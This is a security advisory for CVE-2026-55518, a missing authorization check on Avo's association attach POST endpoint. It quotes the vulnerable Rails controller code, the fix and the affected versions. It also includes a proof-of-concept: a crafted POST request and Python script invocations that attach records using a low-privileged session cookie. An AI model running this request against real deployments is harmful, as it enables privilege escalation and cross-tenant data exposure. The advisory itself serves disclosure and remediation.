CVE-2026-55518
Published:June 17, 2026
Updated:June 18, 2026
Summary A critical missing authorization flaw exists in Avo's association attach workflow. The UI and "GET /resources/:resource/:id/:related/new" path can check "attach_<association>?", but the actual write endpoint, "POST /resources/:resource/:id/:related", does not run the same authorization check before mutating the association. As a result, an authenticated low-privileged Avo user can bypass hidden/disabled attach controls and directly attach related records to a parent record by sending a crafted POST request. In applications where associations represent teams, tenants, roles, projects, users, memberships, ownership, or other authorization-bearing relationships, this can lead to privilege escalation and cross-tenant data exposure. Details The association attach route writes relationships through "Avo::AssociationsController#create": config/routes.rb post "/:resource_name/:id/:related_name", to: "associations#create", as: "associations_create" The controller registers an attach authorization callback only for "new", not for "create": app/controllers/avo/associations_controller.rb before_action :set_attachment_record, only: [:create, :destroy] before_action :authorize_index_action, only: :index before_action :authorize_attach_action, only: :new before_action :authorize_detach_action, only: :destroy The "new" action is only the form-rendering step. The actual mutation happens in "create": def create if create_association create_success_action else create_fail_action end end "create_association" then attaches the attacker-supplied related record to the parent: def create_association association_name = BaseResource.valid_association_name(@record, association_from_params) perform_action_and_record_errors do if through_reflection? && additional_params.present? new_join_record.save elsif has_many_reflection? || through_reflection? @record.send(association_name) << @attachment_record else @record.send(:"#{association_name}=", @attachment_record) @record.save! end end end The only attach-specific authorization helper is: def authorize_attach_action authorize_if_defined "attach_#{@field.id}?" end Because this helper is bound only to "new", a policy that denies "attach_users?", "attach_teams?", "attach_roles?", or similar methods blocks the UI/form path but does not protect the write path. This is inconsistent with the detach path, which does authorize the mutating "destroy" action: before_action :authorize_detach_action, only: :destroy The bug is especially dangerous because Avo already treats association authorization as an access-control boundary in UI components: lib/avo/concerns/checks_assoc_authorization.rb method_name = :"#{policy_method}_#{association_name}?".to_sym if service.has_method?(method_name, raise_exception: false) service.authorize_action(method_name, record:, raise_exception: false) else !Avo.configuration.explicit_authorization end However, server-side enforcement is missing on the actual attach POST endpoint. Proof of Concept Prerequisites: 1. A Rails application mounts Avo, for example at "/admin". 2. Avo authorization is enabled. 3. A low-privileged user can authenticate to Avo. 4. A parent record and a related record are both reachable by ID. 5. The relevant policy denies attaching the relationship, for example: def attach_users? false end Example target scenario: - Parent resource: "projects" - Parent ID: "1" - Related association: "users" - Related user ID to attach: "42" - Expected policy: low-privileged users must not be able to attach users to projects. The UI/form request may be blocked: GET /admin/resources/projects/1/users/new But the direct write endpoint can still be invoked: POST /admin/resources/projects/1/users Content-Type: application/x-www-form-urlencoded authenticity_token=<CSRF>&fields[related_id]=42 Run the attached PoC: python poc_avo_association_attach_bypass.py --base-url http://localhost:3000 --avo-root /admin --cookie "_app_session=<LOW_PRIVILEGED_SESSION_COOKIE>" --parent-resource projects --parent-id 1 --related-name users --related-id 42 --check-new If "GET /new" is forbidden or redirected but the direct POST succeeds, the authorization bypass is confirmed. To perform the actual attach: python poc_avo_association_attach_bypass.py --base-url http://localhost:3000 --avo-root /admin --cookie "_app_session=<LOW_PRIVILEGED_SESSION_COOKIE>" --parent-resource projects --parent-id 1 --related-name users --related-id 42 --confirm-attach Expected vulnerable result: - The low-privileged user can attach the related record despite "attach_<association>?" being denied. - The parent record now includes the related record. Impact This vulnerability allows unauthorized relationship manipulation through Avo. Depending on the affected association, the impact can include: - Privilege escalation by attaching a user to an admin group, privileged project, tenant, organization, role, or membership record. - Cross-tenant data exposure when tenant/user/project membership determines record visibility. - Integrity loss by changing ownership, assignment, access-control relationships, or business workflow state. - Policy bypass even when Avo UI controls correctly hide the attach button or deny the attach form. Recommended Fix Enforce attach authorization on the mutating endpoint. At minimum: before_action :authorize_attach_action, only: [:new, :create] Additionally: 1. Authorize against the parent record and the selected related record before writing the relationship. 2. Ensure "create" fails closed when "attach_<association>?" is missing and "explicit_authorization" is enabled. 3. Add regression tests that directly POST to "/resources/:resource_name/:id/:related_name" while "attach_<association>?" returns "false". 4. Verify "has_many", "has_one", "has_many :through", and "has_and_belongs_to_many" association paths all enforce the same server-side authorization.
Affected Packages
https://github.com/avo-hq/avo.git (GITHUB):
Affected version(s) >=v0.2.0 <v3.32.1Fix Suggestion:
Update to version v3.32.1avo (RUBY):
Affected version(s) >=4.0.0.beta.1 <4.0.0.beta.51Fix Suggestion:
Update to version 4.0.0.beta.51avo (RUBY):
Affected version(s) >=0.2.0 <3.32.1Fix Suggestion:
Update to version 3.32.1Related Resources (2)
Do you need more information?
Contact UsCVSS v4
Base Score:
9.3
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
HIGH
Vulnerable System Availability
NONE
Subsequent System Confidentiality
HIGH
Subsequent System Integrity
HIGH
Subsequent System Availability
NONE
CVSS v3
Base Score:
9.6
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality
HIGH
Integrity
HIGH
Availability
NONE